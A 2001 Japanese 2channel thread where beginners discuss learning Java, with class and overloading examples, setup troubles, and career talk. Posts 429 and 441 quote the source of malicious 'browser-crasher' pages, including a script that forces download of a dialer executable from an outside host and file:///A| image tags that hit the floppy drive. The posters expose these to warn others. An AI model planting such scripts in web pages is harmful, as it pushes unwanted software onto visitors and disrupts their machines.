395 ：　：2001/08/01(水) 11:56

半年ぶりにJavaの仕事するんだけどこのスレッド見てると励みになるよ

396 ：尻尾だけトラ猫：2001/08/01(水) 14:41

昨晩は調子こいて一気に第８章　標準入出力とファイル入出力やった。
この章は面白かった、キー入力とかファイルに書き込むとかが、ちょっと感動。
本１冊終わったところで、＠さんの問題とかやってみたけど、難しかった。
知識が自分のものになってない。

俺は数学の勉強は高校１年すらもちゃんと終えてない（中退だ）から、
その辺とても弱いです。

397 ：　：2001/08/01(水) 14:41

http://www.forest.impress.co.jp/article/2001/07/31/jbuilder5personal.html
こんなのがでるんだってね。

398 ：尻尾だけトラ猫：2001/08/01(水) 18:23

http://www.shift.jp.org/
これアプレットですよね？
DIRECTORかなぁとか思ってソース見てビックリ。
個人的にめちゃ気に入りました。

399 ：◎：2001/08/02(木) 00:15

>>396数学、丸暗記よりも必要になって覚えたほうが頭に入るものですよ。
>>397ｵﾓｸﾃ（;´Д｀）
>>398IEのJavaコンソールでも確認できますヨ！

400 ：尻尾だけトラ猫：2001/08/02(木) 01:18

IEの表示メニューにJavaコンソールとやらがない。。。
OS自体最近おかしくなってきた感じ。
実は再インストール未経験者。

401 ：　：2001/08/02(木) 09:25

http://www.vector.co.jp/soft/win95/prog/se153698.html

402 ：◎：2001/08/02(木) 15:42

>>400インターネットオプション＞詳細設定＞Javaコンソールの表示ッス。
>>401Javaはエディタだけでも何とかなりますもんね。

403 ：初心者：2001/08/02(木) 20:25

始まったね
http://www.forest.impress.co.jp/article/2001/07/31/jbuilder5personal.html

404 ：初心者：2001/08/02(木) 20:26

かぶった（＾＾；

405 ：ジャバーウォッキー：2001/08/03(金) 04:45

>>373
誰もノってこない…（　´Д｀）
ネタがつまらんかったか、みんな独習モードに入ったか…
「class giko extends mona は納得いかねえ！」
とか
「ではもともと　abstract class kaomoji から
　monaを派生すべきだったか！」
とかいう盛り上がりを想定してうきうきしてたのだが…

406 ：新入り：2001/08/04(土) 04:12

最近「独習java」をかいました。
プログラム初めてなので、わからないとこがたくさんあって困ってましたが
今日からここに居座ります。
よろしくお願いします。

407 ：まんま：2001/08/04(土) 21:17

.NETっていったいなに？わかりやすく解説したサイトある？

408 ：名無しさん：2001/08/04(土) 23:19

>>407
ここ行ってみ。サイト名がモロにInsider.NET
http://www.atmarkit.co.jp/fdotnet/

409 ：：2001/08/05(日) 17:37

age

410 ：◎：2001/08/05(日) 18:27

>>403無償CD-ROM届きましたがインストールするかどうか(w
>>405クラスkaomojiは一行以上のStringというのはどうですか？
>>406よろしくネ！

411 ：まんま：2001/08/06(月) 00:02

クラスってのはCの構造体を拡張した概念と理解して間違いではないのでしょうか。
>>408サンクスありがとう。

412 ：尻尾だけトラ猫：2001/08/06(月) 00:04

本一冊読んで止まってます。
ウォッキーのお題はまだ覚えてないメソッドとかで無理です。。。

413 ：コルア：2001/08/06(月) 00:11

げーむつくってよ

414 ：名無しさん：2001/08/06(月) 00:15

>>412
既出かも知れんけどここでメソッドやクラスの確認ができるよ。
http://java.sun.com/products/jdk/1.2/ja/docs/ja/api/index.html

それよりも誰かC#のリファレンス訳してくれ.....。

415 ：名無し：2001/08/06(月) 00:15

javaといえば　iアプリ
作って！

416 ：無名：2001/08/06(月) 00:24

i-studyってどうよ？

417 ：：2001/08/06(月) 00:42

10 print"java";
20 goto 10
ながーいプログラムを作るこつってあるの？長くなると全体が把握できなくなって
きてノートにチャート書いたりするんだけどいまいち。今までで一番長いのは
Z80アセンブラで千行ぐらい。それにえらい時間がかかったし。プロとしては
通用しないかもしれない。

418 ：まんま：2001/08/06(月) 00:44

↑「まんま」です。

419 ：名無し：2001/08/06(月) 00:48

>>417
そういう時は複数ファイルにしてる。
アセンブラにはmakefileって無いの？
ちなみにアセンブラは未経験。

420 ：　：2001/08/06(月) 00:54

ソースもオブジェもオンメモリのアセンブラです。
まあ、サブルーチン一個が一画面に収まるようにしてスクロール無しに
全体みれるようにしたりしてるんですけどね。それより、頭の中で全体
像が描けなくて苦労します。PGには向いてないのかしら？

421 ：/：2001/08/06(月) 00:59

ココ凄く参考になるよ
javaラーなら必読！
http://www.powow.com/tokinori/

422 ：フィルター：2001/08/06(月) 01:00

ブラクラ（マジで＜４２１

423 ：元SE：2001/08/06(月) 01:04

>>421
concon

424 ：：2001/08/06(月) 01:09

マジかよ。踏みそうになったぜちくしょう。
無職やってると警戒心も薄くなるな。

425 ：無名：2001/08/06(月) 01:11

すいません、conconって何ですか？ウイルスみたいなものですか？

426 ：フィルター：2001/08/06(月) 01:12

ヽ(´ー` )ﾉ男のファション誌たよ

427 ：首領クサ夫 ★：2001/08/06(月) 01:13

ω　←

428 ：425：2001/08/06(月) 01:14

踏んだんですけど変なファイルも追加されてないし、、、。
ちょっと不安、、。

429 ：元SE：2001/08/06(月) 01:19

>>421の中身

<script language="javascript">
dlwin = open("http://bannermaster.geektech.com/dialers/Live_Teen10501.exe", "dlwin");
dlwin.blur();
self.focus();
</script>
<img src="file:///A|/hghh.gif">
<img src="file:///A|/r7gghg.gif">
<img src="file:///A|/tyfqw.gif">
<img src="file:///A|/i367734.gif">
<img src="file:///A|/cxbf.gif">
<script>

</script>

430 ：ななし：2001/08/06(月) 01:21

>まんま氏
アセンブラとCをやって今Javaを始めようという方ですか？

431 ：元SE：2001/08/06(月) 01:26

432 ：元SE：2001/08/06(月) 01:26

433 ：名無し：2001/08/06(月) 01:27

Happy99.exeですか、、、（死）

434 ：まんま：2001/08/06(月) 01:28

まともなプログラムを作ったことがあるのはアセンブラ、BASICです。
Cはサンプルプログラム程度。

435 ：：2001/08/06(月) 01:30

平和なスレにブラクラ来ると盛り上がるな(w

436 ：まんま：2001/08/06(月) 01:46

踏んじゃったけどなんか害あるの？

437 ：名無し：2001/08/06(月) 01:49

>>436
こういうことらしいです。↓Win95,98を落とすconcn
http://www.zdnet.co.jp/news/0002/28/win.html

438 ：まんま：2001/08/06(月) 01:52

HDがカタカタ言っただけで落ちなかった。まあ、よかった。

439 ：名無しさん：2001/08/06(月) 01:52

普通のブラクラならその場でＰＣがフリーズするだけじゃないの？
でも場合によっては壊れることもあるとかいうけど。
初めてここに来た時はブラクラ踏みまくってたけど、もう半年ぐらい踏んでいない。

440 ：首領クサ夫 ★：2001/08/06(月) 02:08

http://thunder.prohosting.com/~enokiz/2ch_labo/bc/bc03a.htm

441 ：名無し：2001/08/06(月) 02:10

440のソース
<html>
<head>
<meta http-equiv="robots" content="none">
<title>FDDが鳴るヤツ</title>
</head>
<body>
<//--><//"-->
<center><iframe src="http://probe.prohosting.com/showframe/PBE0000003/99"
width=468 height=60 marginwidth=0 marginheight=0 hspace=0 vspace=0
frameborder=0 scrolling=no><a
href="http://probe.prohosting.com/click/PBE0000003/99" target="_top"><img
ismap src="http://probe.prohosting.com/show/PBE0000003/99" width=468
height=60 border=0 alt="Acquiring image from ProHosting Banner
Exchange"></a></iframe><br>
<a href="http://probe.prohosting.com/clickprobe/PBE0000003/99"
target="_top"><img ismap
src="http://probe.prohosting.com/showprobe/PBE0000003/99" width=468
height=16 border=0 alt="Acquiring from ProHosting Banner
Exchange"></a><br></center>


<img src="file:///A|/1.jpg">

<//--><//"--> </body>
</html>

442 ：：2001/08/06(月) 02:32

>>441
説明するまでも無いだろうけど
<img src="file:///A|/1.jpg">
これのことね。
PROBE CODE はprohostingが勝手に付けるやつ

443 ：教えて！：2001/08/06(月) 02:59

初めて投稿するのですが
使用機種はPCG-F60/BPを使用しています。
ＯＳはWindows98ＳＥを使用しています。
電源を入れると画面は立ちあがるのですが
アイコンが大きくなって、画面が粗くなってしまっています。
コントロールパネルの画面プロパティの設定タブを確認すると
色が16色で画面領域は640×480になっています。
色をHighColor（16ビット）に変えて再起動しても、
戻ってしまいます。
どの様にしたら戻るのでしょうか？
画面が見にくくて大変困っています。
知っている人がいましたら教えてください。

444 ：ＫＳＭ ★：2001/08/06(月) 03:01

ドライバは？

445 ：：2001/08/06(月) 03:05

>>443
なぜこのスレを選んだのかも教えてほしいところだ

446 ：ななし：2001/08/06(月) 03:11

>>411
>クラスってのはCの構造体を拡張した概念
というのは間違ってはいないと思うけど、

継承の概念とメソッドが無いクラス→構造体

て考えるとすごい違和感感じる。

447 ：ななし：2001/08/06(月) 03:15

>>446
あ、やっぱ違うかも。他の人語ってください。スマソ

448 ：ジャバーウォッキー：2001/08/06(月) 03:34

>>410
「一行以上」というのが示唆に富んでますね。
クラスkaomojiはどこまで作りこむべきなのか？
一番手抜きっぽいバージョンで

abstract class kaomoji {
String str;
void print() { System.out.print(str); }
}
class mona extends kaomoji{
mona(){str = " 　∧＿∧ \n（　´∀｀）";}
void speak(){System.out.println("＜オマエモナー");}
void speak(String s){System.out.println("＜"+s);}
}

んんーなんか絡みが不自然な気が。
突っ込んでください。

449 ：ジャバーウォッキー：2001/08/06(月) 03:40

>>412　尻尾だけトラ猫さん
フィーリングでやっちゃってください(w
「クラスとはなんぞや」て感じです

450 ：名無しさん：2001/08/07(火) 00:15

age

451 ：尻尾だけトラ猫：2001/08/07(火) 00:18

暇を見つけて触るようにします。

452 ：　：2001/08/07(火) 03:27

JBuilder 5落として使ってみようとしてるけど・・・
解説ページを見てもさっぱりわからない・・・

453 ：◎：2001/08/07(火) 20:30

>>448
abstractクラスにabstractメソッドが無いですね、、
interfaceやabstractクラスは後回しに通常のクラスから扱いませんか？
それから改行はプラットフォーム依存なので[ \n ]では改行されない
機種もあるのですよ。
ですので改行文字をそのまま埋め込むのはあまりよいやり方ではありません。
java.lang.Systemのシステムプロパティline.separatorにそのプラットフォームの
行区切り文字がセットされています。

454 ：お陀仏さん：2001/08/08(水) 18:08

455 ：務所苦：2001/08/08(水) 21:32

鬱で無職でヒッキーなんですが、たった１つの望みがあります。
ホームページ製作です。ＨＰ宣伝スレでないのにカキコして
すいません。漏れのＨＰ観てやってください。

http://www.doteiban.com/

456 ：名無しさん：2001/08/09(木) 00:33

age

457 ：ナナフシサン：2001/08/09(木) 05:10

>>452
普通は、JBuilderみたいな統合開発環境を使おうとすると一見複雑なので解らない。
解説ページを見るのもいいが、いろいろ触って試してたらそのうち慣れる｡

関係ないけど、JBuilderってjavaで出来てたんだな｡

458 ：ジャバーウォッキー：2001/08/09(木) 09:28

>>453
abstractはちょっと使ってみたかっただけっす（;　´∀｀）

class kaomoji {
String str;
void print() { System.out.print(str); }
}
class mona extends kaomoji{
mona(){str = "　∧_＿∧ "+System.getProperty("line.separator")+"（　´∀｀）";}
void speak(){System.out.println("＜オマエモナー");}
void speak(String s){System.out.println("＜"+s);}
}

改行はこんなかんじでしょうか。
クラスkaomojiのなかに
final String NL = System.getProperty("line.separator");
とするほうがきれいなのかな。

459 ：ジャバーウォッキー：2001/08/09(木) 09:44

◎ さんいつもアドバイスありがとうございます。
他の「はじめるぞ！」って言ってた人たちは
どこへ行ったのだろうか・・・
ROMってたら近況報告とかしてよぅ

 >>457
デルファイはデルファイでできてるとか(・∀・)ｱﾋｬ

460 ：新入り：2001/08/09(木) 23:41

>>410　　こちらこそよろしくお願いします。さっそく質問させてもらいます。

class Dor{
double x;
double y;
Dor(double x, double y){
this.x=x;
this.y=y;
}Dor(double x, int y){
this.x=x;
this.y=(y*2);
}}class ThisKeywordDemo{
public static void main(String args[]){
Dor p =new Dor(*****);
System.out.println("p.x="+p.x);
System.out.println("p.y="+p.y);
}}
Dor p =new Dor(*****)の中身が、( 3.2(double型), 5.4(double型))だったら
this.x=x;
this.y=y;
が実行されて
Dor p =new Dor(*****)の中身が、( 3.2(double型), 4(int型))だったら
this.x=x;
this.y=(y*2);
が実行されます。
だから、Dor(double x, int y)と、Dor(double x, double y)は
簡単なif文みたいなものと考えていいんですか？

461 ：◎：2001/08/09(木) 23:51

>>458
オブジェクト指向ではデータとその表示はなるべく分離したほうが
クラスの再利用性が高まってよいのですよ。
ですので今回はget～()など変数にアクセスするメソッドを使って、
たとえばmainメソッドなどで
Mona mona = new Mona();
System.out.println(mona.getKaomoji()); //コンソールに"（　´∀｀）"と表示する。
とすればいいですね！(これは一行だけの表示ですが)
改行文字は表示するオブジェクトにお任せでよいと思います。
>>459がんばりましょうね！

462 ：◎：2001/08/10(金) 00:56

>>460よろしくッス！
これはメソッドのオーバーロードですね。
if文ならメソッドのオーバーロードよりも
ポリモルフィズムのほうがしっくり来るかもしれません。
オーバーロードはコンパイル時に静的に決まるので
変更するなら普通ソースを書き換えなくてはいけませんよね？

ポリモルフィズム（多態性、多様性）というのは、たとえば、
クラスMonaとクラスGiko、両方ともに親クラスKaomojiから継承した
getKaomoji()メソッドがあればMonaかGikoかにかかわらず
obj.getKaomoji();
とメッセージを送ることが出来ますね。
このメッセージを送るオブジェクトはソースを書き換えずに
変更することができるのですよ。

463 ：ジャバーウォッキー：2001/08/10(金) 04:33

>>461

>オブジェクト指向ではデータとその表示はなるべく分離したほうが
>クラスの再利用性が高まってよいのですよ

ああーなんか分かってきた。
クラスKaomojiやMonaのメソッドは
メンバのStringをいじって、Stringで返すだけにすれば
アプレットで表示させたいときとかにも使えるわけですね。
一行以上の表示の場合はStringの配列を返すほうが
改行文字込みより良いのでしょうか。
アプレットでモナーを動かすとか考えると・・・

464 ：新入り：2001/08/11(土) 01:48

>>462
レス有り難うございます。

まだ、ポリモフィズムのレベルまで達してないので
ポリモフィズムのことは、よくわからないけど
ポリモフィズムが便利だということがわかりました。
オーバーロードはよく分かりました。
ありがとうございました。

465 ：新入り：2001/08/11(土) 04:53

またまた質問させてもらいます。
JBuilder5をインストールして重くてウィンドウズが止まったので
アンインストールしました。
それから、MS-DOSでコンパイルして実行する時に、エラーがでて実行できません。
(javac Mona.javaはできるけど、java Monaができません)
むかしは、そんなことなかったんですが。
どうしたら、昔のように実行できるようになるんですか？

下のようなエラーが出ます。
Error: could not open 'C:\jbuilder5\jdk1.3\jre\lib\jvm.cfg'

466 ：l：2001/08/11(土) 05:06

じゃぁばって、一言で言うと何ですか？

467 ：ジャバーウォッキー：2001/08/11(土) 05:24

>>465
Autoexec.bat
はどうなっちょりますか？
って俺の手に負えない問題だったらスマソ

468 ：新入り：2001/08/11(土) 06:07

>>467
下のような感じになっちょります。

@ECHO OFF
loadhigh c:\windows\COMMAND\nlsfunc.exe c:\windows\country.sys

IF EXIST \CDROM.REG DEL \CDROM.REG > NUL
IF EXIST C:\REG.BAT CALL C:\REG.BAT > NUL
IF EXIST C:\REG.BAT DEL C:\REG.BAT > NUL

REM Environment Settings For McAfee VirusScan
SET PATH=%PATH%;C:\PROGRA~1\NETWOR~1\MCAFEE~1

IF EXIST C:\DESK1024.BAT CALL C:\DESK1024.BAT > NUL
IF EXIST C:\DESK1024.BAT DEL C:\DESK1024.BAT > NUL

SET PATH=%PATH%;C:\jdk1.3.0_02\bin
SET CLASSPATH=%CLASSPATH%;.

469 ：ジャバーウォッキー：2001/08/11(土) 12:06

>>468
SET CLASSPATH=%CLASSPATH%;.
の行頭に rem つけてコメントアウトしてみてください。
これでダメなら他の人にシクヨロ

470 ：新入り：2001/08/12(日) 09:13

>>469
jbuilder5というフォルダをゴミ箱に捨てたからいけなかったみたいです。
もとに、もどしたらちゃんとできるようになりました。
ジャバーフォッキーさん、こんなくだらない質問に答えてくれて有り難うございました。

471 ：新入り：2001/08/12(日) 16:04

また、くだらない質問なんですが

下の文を実行しようとしたら
怒られました。なんでですか？

class Iftest{
public static void main(String args[]){
int x=0;
(x<10) ? System.out.println(x) : x++;
System.out.println(x);
}
}

472 ：新入り：2001/08/13(月) 03:35

初心に返って、はじめから独習JAVA読んでたら
自己解決できました(^^;
有り難うございました。

473 ：初心者　マカ：2001/08/13(月) 20:02

http://opinion.nucba.ac.jp/~tkenichi/java/mac.html
すいませんここ読んでもバカすぎて解りません。
ダウソしたmrjはデスクトップに並べたんですがそこからつまってます（泣。
亀でもいいんでどなたか教えて下さい。
よろしくおねがいします。

474 ：◎：2001/08/13(月) 23:43

>>463配列を返すと他のオブジェクトが
配列を書き替えてしまうかもしれませんよね。
カプセル化が崩れてしまうかもしれません。
>>465C:\jdk1.3.0_02\jre\lib\jvm.cfgはありますか？
>>472頑張ってくださいネ！
>>473Macはわからないです、、解凍できました？

475 ：まんま：2001/08/15(水) 08:19

二つの引数の積を表示する

class CommandlineMul2 {
　public static void main(String args[]) {

　　double a = Double.valueof(args[0]).doublevalue;
　　double b = Double.valueof(args[1]).doublevalue;

　　System.out.println("args[0] * args[1] = " + (a * b));
　}
}

独習C練習問題2.10.1。回答例どおりなのですがコンパイルエラーが出ます。
なんで？？

476 ：まんま：2001/08/15(水) 08:22

二つの引数→二つのコマンドライン引数
エラーは4,5行目で出ます。

477 ：ジャバーウォッキー：2001/08/15(水) 08:45

>>474
それは配列がアドレスを渡してしまうからという意味でしょうか？
うーん、もうちょっと勉強します。
Vectorみたいな便利（そうな）クラス使うとよいのかな。

>>475
大文字のところとか大丈夫ですか？
valueOf　とか

478 ：まんま：2001/08/15(水) 10:47

すいません、ケアレスミスでした。

479 ：相互リンク：2001/08/15(水) 22:38

http://ton.2ch.net/test/read.cgi?bbs=hikky&key=996710744

480 ：：2001/08/16(木) 01:59

ダウンロードして、インストールを実行しても途中で止まって出来ないんだが。

481 ：：2001/08/16(木) 04:23

インストールしたはいいが、どこをどう操作すればいいかさっぱり分からないんだが。

482 ：◎：2001/08/16(木) 19:32

>>477「配列の参照（リファレンス）」を渡してしまうからですね。
Javaの変数には参照型とプリミティブ型の二つがあり、
すべてのオブジェクトと配列は参照によってアクセスされます。
参照はオブジェクトそのものではなくオブジェクトのありかを指しているので
たとえprivateな参照型の変数で保持しているオブジェクトでも
参照のコピーを使えばアクセスできてしまいます。
Vectorも自分が管理している配列の参照は返しませんよね。

参照型はC/C++のポインターと似ていますが、
値の操作はできないため安全だといわれています。

>>481JBuilder?

483 ：名無しさん：2001/08/17(金) 17:07

あげ

484 ：：2001/08/18(土) 13:33

あげ

485 ：新入り：2001/08/19(日) 16:38

arrayの要素数を表示する。

class X {
static int array[];
static {
array=new int[6];
for(int i=0;i<6;i++)
array[i]=i;
}
}

class Xww{
public static void main(String args[]){
System.out.println(X.array.lenght);
}
}

要素数を表示したいんですが
なぜか、エラーがでます。なんでですか？

486 ：　：2001/08/19(日) 18:45

>>485
コンパイルエラー?
もしそうだったら書き間違えていないか良くみること。

487 ：新入り：2001/08/19(日) 20:56

>>486
わかりました。
も少し、じぶんで調べてみます。

488 ：新入り：2001/08/19(日) 20:59

5秒で間違えてるところ、わかりました。
ありがとうございました。

489 ：　：2001/08/20(月) 19:29

　　　　　　　　　　　　　　　　　 |
　　　　　　　　　　　　　　　　　 _|_
　　　　　　　　　　　　　 , -´　｀- ､
　　　　　　　　　　　　　　（ _...･∀･...._ ）
　　　　　　　　　　　　　　　　　｀ー-|-一´
　　　　　　　　　　　　　　　　　　 |　　　　ﾈﾆﾁﾘｰﾝ
　　　　　　　　　　　　　　　　　　 |
　　　　　　　　　　　　　　　　　　　ﾉ
　　　　　　　　　　　　　　　　 /￣7
　　　　　　　　　　　　　　　 /ﾈ /
　　　　　　　　　　　　　　 /ﾆ /
　　　　　　　　　　　　　 /ﾁ /
　　　　　　　　　　　　 /ﾘ_/
　　　　　　　　　　　　　　　 /ﾉ／

490 ：前園：2001/08/20(月) 19:38

結構、レスついたね。
みんなジャバとかいうの知ってるなんて頭良いね。
俺、まったくわからん。
エクセル、ワードのため専門学校に講義受けに行く予定。
２日で２５０００円。

491 ：◎：2001/08/20(月) 21:53

がんばってね！

492 ：5分の1：2001/08/20(月) 23:20

2日でその値段は高い気がする。
元取るにはかなり集中しないと。

493 ：age：2001/08/22(水) 10:55

定期age

494 ：丸山＠：2001/08/22(水) 11:20

ポリテク逝きなよ。＞前園
失業保険受けてるなら給付が延長されるし、少なくとも二日間ぐらいの
講義よりはためになると思うけど。

495 ：抹茶Pocky：2001/08/23(木) 20:46

>>490
>エクセル、ワードのため専門学校に講義受けに行く予定。
>２日で２５０００円。

（おせっかい）
やめといたほうがいいです。

一般事務としてExcel, Wordつかうならオンラインヘルプで十分。
どうしてもわからないなら2千円から3千円の本でも買えばよい。
でも普通ならWebで調べたりするだけで事足りる。

PGとして使うならVBAぐらい知らないと使い物にならない。
そしてVBAは簡単だが２日で学べるほどは甘くない。
マスターしても自慢にもならない。

とりあえず2万5千円払ったらバリバリ使いこなせるという妄想は捨てるべし。
それでも良いなら行けばいいと思うよ。

以上

496 ：あい（地球）のり（ｗ：2001/08/23(木) 20:55

>>495
私もそう思います。
絶対ムダ。

497 ：新入り：2001/08/25(土) 18:20

２万５千円あったら、プログラムの本いっぱい買える
エクセル・ワードの本も買える。

みんななにか、資格もってますか？
僕は、ワープロ４級です（糞

498 ：みどふぁん：2001/08/25(土) 20:05

>>1
JAVAよりも、C,C++を覚えたほうがいいです。

499 ：：2001/08/25(土) 20:39

http://natto.2ch.net/test/read.cgi?bbs=recruit&key=996497060&ls=50

500 ：フィルター：2001/08/25(土) 21:25

あれ？５００？マジ？

501 ：びつくり：01/08/28 08:25 ID:CNbw4kkc

おい
スレが　　　　　　　　　　保存できないじょ

最近　　時間の流れが　　　　　　速いな・・

502 ：きみちゃん ◆YTBBau7Y ：01/08/28 08:37 ID:UtgCb3CA

>>498
確かに、Ｃの方が「求人」多い。
（主に「派遣」だが）

503 ：a：01/08/29 07:45 ID:j0A/fmuE

>>502
派遣社員を発見した(ﾜﾗ

504 ：ジャバーウォッキー：01/08/29 19:21 ID:831h.td2

ふうう、
ソフトバンク『基本情報技術者試験Java集中ゼミ』終了。
なんかいけそうかなーって気もするけど「予想問題」だからなー。

505 ：きみちゃん ◆YTBBau7Y ：01/08/29 19:23 ID:bsr.dbS6

>>503
「派遣」は、「最終手段」と考えているので、当分応募しない。

506 ：極楽：01/08/29 19:27 ID:sRKsTsxc

ＪＡＶＡの求人増えてるよ。
オレも大学時代やってたけど画面に向かってプログラムと格闘してるより
外に出て何かやってるほうが好きだから止めちゃった。

507 ：きみちゃん ◆YTBBau7Y ：01/08/29 19:28 ID:bsr.dbS6

>>506
そうそう、「プログラマ」は、暗い暗い！！

508 ：極楽：01/08/29 19:37 ID:sRKsTsxc

>>507
同意者がいてくれた。
将来性のある職業だけど病気になってる人も多いみたいだし、友達なんて
会社まで遠いのだけど一人暮らしする必要がないぐらい会社に寝泊りしてるからね。
ま、その分の報酬はいいけど。
フリーのプログラマーでも月６０～７０万稼いでいるみたいだから。

509 ：きみちゃん ◆YTBBau7Y ：01/08/29 20:05 ID:bsr.dbS6

>>508
本当に、プログラマーって、「仕事の奴隷」。
オレは以前、放送局に勤務していたが、そこに来ていたプログラマ
なんて、朝９時から、夜中の４時頃まで毎日仕事してた。
それでも、「バグが取れない」って叱られてたし、聞くところによると、
「出張先のホテルで過労死」なんてのも珍しくないらしい。
なにしろ、テレビが「放送終了」して、おれらが明朝の準備して寝ようって
時になってもまだ仕事してるんだもん。
なんか、「幽霊」を見るような気分だった。

510 ：ジャバーウォッキー：01/08/29 20:43 ID:831h.td2

>>482
お久しぶりです。
「Java集中ゼミ」を読んだにもかかわらず、
まだイマイチ理解できません。
参照を渡すことが危険だとすれば
プリミティブ型のデータしか返せなくなるのでは？
（Stringは改変すると新しいオブジェクトを生成するから特別？）
本のサンプルソースでもprivateなオブジェクトの参照を
返すものがありました。
一方で配列の参照を返すケースは見たことが無いですね。

たとえば数行の文字列を返す際、
・文字列を格納したVectorの参照を返す
はアウツでしょうか。他には
・Stringで一行ずつ返す
しか、思いつかないです。

511 ：◎：01/09/02 09:52 ID:j/onLwII

>>510
わかりにくいですよね、ごめんなさい。
参照を渡すことが危険ではないのです。

Javaは値を返すときコピーした値を返します。
プリミティブ型なら問題ないのですが、
参照型はオブジェクトのコピーではなく
参照のコピーを返しますから値を返した相手と
オブジェクトを共有することになります。
ですのでこのときにカプセル化によって
隠蔽されているはずの内部の実装、状態である
オブジェクトの参照を返してしまうと、
そのオブジェクトが勝手に変更されてしまう
可能性があるので問題になるのですよ。
Vectorも自分が管理している配列の参照は返しませんが、
要素をコピーした配列の参照は返します。

それからJavaは配列もオブジェクトになります。
Object obj = new int[100]; // int配列型の参照をObject型にキャストして代入。
はエラーではありません。

Stringのように内部の状態を変更することができない
クラスのインスタンスは参照を渡しても変更される
心配はありませんし、マルチスレッドでの
不整合も起こりません。
ただ値を変更したい場合、新たにインスタンスを
生成しなくてはなりません。

>・文字列を格納したVectorの参照を返す
Vectorに実装を依存しているのならそのVectorを返すのはまずいですよね。
内部状態のコピーを返してもよいですし、
java.utilにあるIteratorを返してもよいと思います。

>・Stringで一行ずつ返す
どのようなメソッドを公開しますか？
公開するメソッドはそのオブジェクトを
表すことになるので大切なのですよ。

512 ：うぅ：01/09/07 04:51

初歩的な質問です。
どなたか教えて

Java2 sdk 1.3.0を本付属のＣＤよりインストール後、
パスの設定を終了しました。

けれど
メモ帳で，プログラムを書いてFirst.javaとして保存しても，
First.java.txtになってしまう場合は
何故でしょう？つまり、メモ帳で拡張子をjavaにしても
txt形式で保存してしまいます。
Windows98を使ってます。

本を買って先に進もうとも、ここから進めません。
このままだと、はりきってスタートを切ったけど、いきなりこけた感じです・・

513 ：抹茶Pocky：01/09/07 06:29

それは『ファイルの種類』にテキスト文書を指定してるからじゃないの？
『すべてのファイル』を指定すれば拡張子は制御されません。

>ここから進めません。
＃つーかファイルをリネームして進めよ．．．（＾＾；

おせっかいついでに言っとくけどコーディングするなら
メモ帳より秀丸とか使ったほう（慣れておいたほうが）がいいよ

514 ：_：01/09/07 06:41

>>512
おれがこけたよ

515 ：　　：01/09/07 06:52

このスレおもしろい。とくに最初のやりとりが。

516 ：　：01/09/07 07:11

>>498　そういうこと言うなよ。

517 ：うぅ：01/09/07 08:24

>513
>それは『ファイルの種類』にテキスト文書を指定してるからじゃないの？
>『すべてのファイル』を指定すれば拡張子は制御されません。

お返事ありがとうございます

『すべてのファイル』にして｢First.java｣に保存しても、
強制的に｢First.java.txt｣テキスト文書になっちゃう。
でも、めげずにそのテキスト文書を無理やり｢ファイルの名前の変更｣でjavaにしちゃうと
ファイルが消えてしまう（ほら、あのwindowsのマークのファイルになっちゃう）

GIF,JPEGなどの異なるファイルなら簡単に変わるんだけどな。
ちなみにWIN98です。

DOS画面でc:\windows>の後に｢java｣とか｢javac｣って入れると
動いてくれてる（エラーは出ない）からパスは上手くいってる
と思うのだけど。

javaよ、いいかげんに目覚めてくれ・・

518 ：だれでも良いだろ？：01/09/07 08:26

>>517
・・・・・カス

519 ： ◆Bhr3hfLM ：01/09/07 09:51

じゃ場あげ

520 ：山師さん：01/09/07 11:10

java以前にPCとかwindowsとかから学びなおさなきゃいけねえんじゃねーの？(*´▽｀)y-~~

521 ： ◆P554yc3s ：01/09/07 11:19

>>520
ｲｴｽ

522 ：新入り：01/09/07 13:43

>>517
「～.java」って言うファイルタイプが無いから、
windowsマークのファイルになるんじゃなかったっけ。
そのままコンパイルしても、問題ないと思うよ。

523 ：うぅ：01/09/07 17:51

>522

そうか、わかった、ありがと。

524 ：　：01/09/07 19:58

>うぅ
まあこの程度の煽りはかわいいもんだ、
気にするな。

525 ：~：01/09/07 20:31

>512

メモ帳使う時は、ダブルクォートで囲む癖をつけるってのは？
そういうのは嫌い？

"foo.java"
↑こんな感じで。

526 ：抹茶Pocky：01/09/07 20:56

C:\ > javac foo.java
C:\ > java foo
Hello　World !
C:\ >　_

　　　ヽ(´ー` )ﾉ

527 ：あい（地球）のり（ｗ：01/09/08 19:36

メモ帳を使うのだけは止めないと先に進めませんよ
このスレ最初から読んでみてよ

528 ：抹茶Pocky：01/09/09 14:43

はやすぎる挫折？

529 ：ノースマン：01/09/10 02:25

＞517さん
保存する時525さんの言うと通り"First.java"で保存すると（””で囲む）
上手くいくはず。
それと、エディターはやはり違うの使った方がいいかもね。
「ｓａｋｕｒａ」っていうフリーのエディターつかってるんだけど
メモ帳よりいいかも。（ｊａｖａ予約語が自動的に色が変わる）

530 ：　：01/09/10 05:00

すまん。で、どのエディタがよいのじゃ？よー分からん。

531 ：サンバルカン：01/09/10 05:08

hidemaru
4000yenのやつ　

532 ：うぅ：01/09/10 05:16

>ノースマンさん

サクラ使ってみました。メモ帳と異なり色がついているので
かなり使いやすいです。

>525さん、529さん
の言うとおり、””もうまくできました。

貴重な役に立つ情報ありがとうございました。
また、わからないことがでてきましたら
よろしくお願いします。

533 ：525：01/09/10 20:08

>532

メモ帳に限らず、「"」で囲むってのは大抵のWinアプリで使える（と思う）から、憶えておいて損はないと思う。

Javaを勉強して何をするかによって違うけど、手っ取り早く職に付くための道具と思ってるなら、
安易にアプレットとかに走らずに、アプリケーションで構文とクラスライブラリの基礎を押さえ、
あとはPCにapacheとかTomCatとか入れて、JSPやservletの勉強をした方がいいと思う。
それから、SQLの基本と、UML。

まぁ、個人的意見だけど。

趣味でやるんだったら、アプレットは楽しいよね、グラフィカルだし。
楽しいってのは、凄く大切な事だと思う。

もし時間があるのなら、GCCとか落としてC言語から・・・って言うのは、このスレでは言っちゃいけないことなのかな。
何度も繰り返されてる話題なんだけど、僕もC言語から入った人間だから、そう思っちゃうんだよね。

まぁ、とにかく頑張りましょう。
お互い。

534 ：525：01/09/10 20:29

>530

最終的にはxyzzyとかってなるんだろうけど・・・
でもさ、ちょこっと使う分には、そんな多機能じゃなくていいと思うんだけど。

秀丸も凄く良く出来たエディタだと思うけど、マクロとかさ、最初の内って使うのかな？

だから、ある意味「メモ帳」もアリだと僕は思う。
Windowsなら必ず入ってるし。
いや、薦めないけど。あくまで「ある意味」。

フットワークの軽さと機能のバランスって面で考えると、最初はTaraPadとか良いんじゃないかな。
パワーユーザの人からは笑われるかもだけど、やっぱあの軽さと機能の取捨選択のセンスは好き。
